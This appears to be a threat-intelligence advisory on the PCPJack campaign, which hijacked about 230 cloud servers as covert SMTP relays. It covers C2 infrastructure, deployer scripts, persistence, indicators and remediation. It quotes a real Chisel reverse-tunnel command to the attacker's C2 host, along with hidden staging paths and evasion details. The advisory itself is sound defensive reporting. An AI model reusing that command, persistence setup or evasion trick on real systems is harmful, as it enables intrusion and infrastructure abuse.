PCPJack Covert SMTP Relay Network — 230 Hijacked AWS/Google Cloud/Azure Servers via Sliver C2 + Chisel SOCKS Tunneling
PCPJack Covert SMTP Relay Network (TL-2026-0701), also tracked as XSync SMTP proxy campaign, is a high-severity tracked intrusion set, first published 2026-06-07. It is attributed to PCPJack with low confidence, affects Amazon Web Services EC2 Linux instances, references 1 CVE (CVE-2021-4034), maps to 16 MITRE ATT&CK techniques (T1036, T1048, T1049), and is covered by 9 detection rules and 22 indicators of compromise.
Key facts for TL-2026-0701
- Threat ID
- TL-2026-0701
- Also known as
- XSync SMTP proxy campaign, PCPJack covert SMTP relay network
- Severity
- HIGH
- Status
- ACTIVE
- Category
- THREAT_INTEL
- First published
- 2026-06-07
- Last reviewed
- 2026-06-07
- Attribution
- PCPJack
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- technology, cloud-hosting, e-commerce, saas
- Target regions
- North America, Europe, Global
- Detection rules
- 9
- Indicators of compromise
- 22
Malware and tooling in PCPJack Covert SMTP Relay Network
Malware and tooling: Chisel, OpenClaw CA, Sliver - S0633
A financially-motivated actor tracked as PCPJack hijacked roughly 230 compromised Linux cloud servers across AWS, Google Cloud, and Azure and converted them into a covert SMTP relay/proxy network. Hunt.io exposed the operation through two unauthenticated open directories on the actor's Contabo-hosted C2 (213.136.80[.]73), which leaked Python deployers, stock Chisel binaries, Sliver configuration, and JSON deployment state showing 230 beacons fully provisioned.
How PCPJack Covert SMTP Relay Network works
PCPJack — assessed as a presumed former TeamPCP operator who strips TeamPCP artifacts from victims and re-implants Sliver beacons — runs a cloud-focused campaign that exploits public-facing web applications on AWS EC2, GCP managed instance groups, and Azure VMs. Compromised Linux hosts are enrolled as Sliver beacons against a Sliver server on 213.136.80[.]73:9000. An automation layer (the 'XSync' deployer set) then pulls active Linux beacons that checked in within the last ~10 minutes and converts each into a dedicated outbound SMTP proxy, building a resilient spam/email-relay infrastructure that launders email through reputable cloud IP space.
The deployment pipeline evolved across three Python scripts. deployer_v1.py loaded Sliver config from /root/.sliver-client/configs/root_localhost.cfg, applied an SMTP pre-filter (testing outbound reachability to smtp.gmail.com:587), and processed beacons in batches of 50 with a 25-minute wait after uploads and 15 minutes after execution; it completed 50 proxies at 2026-03-10T09:05:20Z. deployer_v2.py dropped the SMTP gate, deployed to all active Linux beacons, and split state into separate 'uploaded'/'executed' lists (captured mid-run at 50 uploads / 0 executions). deployer_v3.py removed batching for sequential single-loop processing and achieved uploaded:230 / executed:230 in a single wave, setting an 'IsIOC = False' flag on every upload in an attempt to evade indicator tracking.
Tunneling uses three unmodified stock Chisel binaries (amd64, arm64, 386) for universal Linux coverage. Each beacon is assigned a deterministic SOCKS5 reverse-tunnel port derived from an MD5 hash of its Sliver UUID, mapped into the 10000-14999 range. The Chisel client connects back as 'chisel client http://213.136.80.73:9000 R:0.0.0.0:[PORT]:socks'; the server also listens on 8080 (corporate-proxy-bypass blending) and 2053 (DNS-range blending). Chisel is staged to hidden temp paths in priority order (/tmp/.ch5 → /tmp/.ch) then copied to /var/tmp/.xs (preferred over /tmp due to noexec). Persistence is established as a root systemd service named 'xsync' masquerading as a system utility, or — in non-root context — a five-minute cron watchdog tagged with a '# xsync' comment marker for idempotent re-installation.
A persistent verification daemon (chisel_verifier.py) enumerates active tunnel ports via 'ss -tlnp' and validates SMTP capability every 60 seconds using a full EHLO/STARTTLS handshake (not a mere port check). Verified proxies are written to /root/excalibur/smtp_proxies.csv and synced via SCP every five minutes to a downstream 'Excalibur' consumer on 38.242.204[.]245. Supporting infrastructure includes 38.242.245[.]147 (phishing domains), 45.225.135[.]54 (staging directory hosting a CVE-2021-4034 PwnKit privesc tool), and 95.216.111[.]46 (Hetzner, reverse DNS englizm.online, flagged active Sliver). A shared 'OpenClaw CA' certificate template was observed across four IPs (38.242.204[.]245, 81.71.15[.]27, 203.237.119[.]147, 134.65.231[.]147), tying the infrastructure together. Attribution between PCPJack and the XSync deployer tooling remains LOW confidence — shared C2 (213.136.80[.]73), identical Contabo vmiXXXXXXX naming, and matching nginx/OpenSSH stacks are circumstantial; no shared auth material or developer artifacts were established.
MITRE ATT&CK techniques used in TL-2026-0701
Defense Evasion
T1036 Masquerading; T1564 Hide Artifacts
Exfiltration
T1048 Exfiltration Over Alternative Protocol
Discovery
T1049 System Network Connections Discovery; T1057 Process Discovery
Persistence
T1053 Scheduled Task/Job; T1543 Create or Modify System Process
Execution
T1059 Command and Scripting Interpreter
Privilege Escalation
T1068 Exploitation for Privilege Escalation
Command and Control
T1071 Application Layer Protocol; T1090 Proxy; T1105 Ingress Tool Transfer; T1572 Protocol Tunneling
Initial Access
T1190 Exploit Public-Facing Application
Resource Development
T1583 Acquire Infrastructure; T1584 Compromise Infrastructure
Affected products and versions in PCPJack Covert SMTP Relay Network
- Amazon Web Services — EC2 Linux instances
Vulnerable versions: public-facing web app workloads - Google Cloud — Compute Engine / managed instance groups (Linux)
Vulnerable versions: public-facing web app workloads - Microsoft — Azure Linux VMs
Vulnerable versions: public-facing web app workloads
Remediation for PCPJack Covert SMTP Relay Network
Patches
- Apply distribution updates for CVE-2021-4034 (polkit pkexec)
Immediate actions
- Block outbound connections to 213.136.80[.]73, 38.242.204[.]245, 38.242.245[.]147, 45.225.135[.]54, and 95.216.111[.]46 at the perimeter
- Hunt for systemd service 'xsync' (/etc/systemd/system/xsync.service) and cron entries tagged '# xsync' across Linux cloud fleet
- Inspect /var/tmp/.xs and /tmp/.ch* for hidden Chisel binaries; terminate matching chisel client processes
- Audit egress on SMTP ports (25/465/587) from cloud workloads that should not send mail
Workarounds
- Mount /tmp and /var/tmp with noexec,nosuid,nodev
- Restrict outbound SMTP egress from cloud instances by security group / firewall
Longer-term hardening
- Deploy Linux EDR with behavioral detection for hidden-file execution from /var/tmp and /tmp
- Enforce egress filtering and default-deny outbound from cloud compute to SMTP and arbitrary high ports
- Patch and harden public-facing web applications to remove the initial-access vector
- Apply CVE-2021-4034 (PwnKit) patches to prevent local privilege escalation to root persistence
CVEs associated with PCPJack Covert SMTP Relay Network
Timeline of PCPJack Covert SMTP Relay Network
- deployer_v3.py removed batching and achieved uploaded:230 / executed:230 in a single sequential wave, flagging all uploads with IsIOC=False.
- deployer_v2.py dropped the SMTP gate and was captured mid-run with 50 uploads and 0 executions (interrupted state).
- deployer_v1.py completed deployment of 50 SMTP proxies at 09:05:20Z after applying an smtp.gmail.com:587 pre-filter and batching beacons in groups of 50.
- Earlier deployment observed on SOCKS ports 9212 and 11212 at 08:33-08:34 UTC, ~31 minutes before the v1 wave, indicating prior unrecovered operations.
- Hunt.io indexed the open directory on 213.136.80[.]73:8444 at 05:42 UTC — 12 files / 29.1 MB exposing 3 Chisel binaries, 5 Python deployers, and 4 JSON state files.
- Staging directory captured on 45.225.135[.]54:8080 hosting a CVE-2021-4034 PwnKit privilege-escalation tool.
- Additional artifacts captured on 45.225.135[.]54:8888.
- Hunt.io published the PCPJack analysis; corroborated by The Hacker News the same day.
Sources cited for PCPJack Covert SMTP Relay Network
Threats related to PCPJack Covert SMTP Relay Network
Detection coverage for TL-2026-0701
As of 2026-06-07, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0701 across Splunk SPL, Microsoft KQL and Sigma, covering 22 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.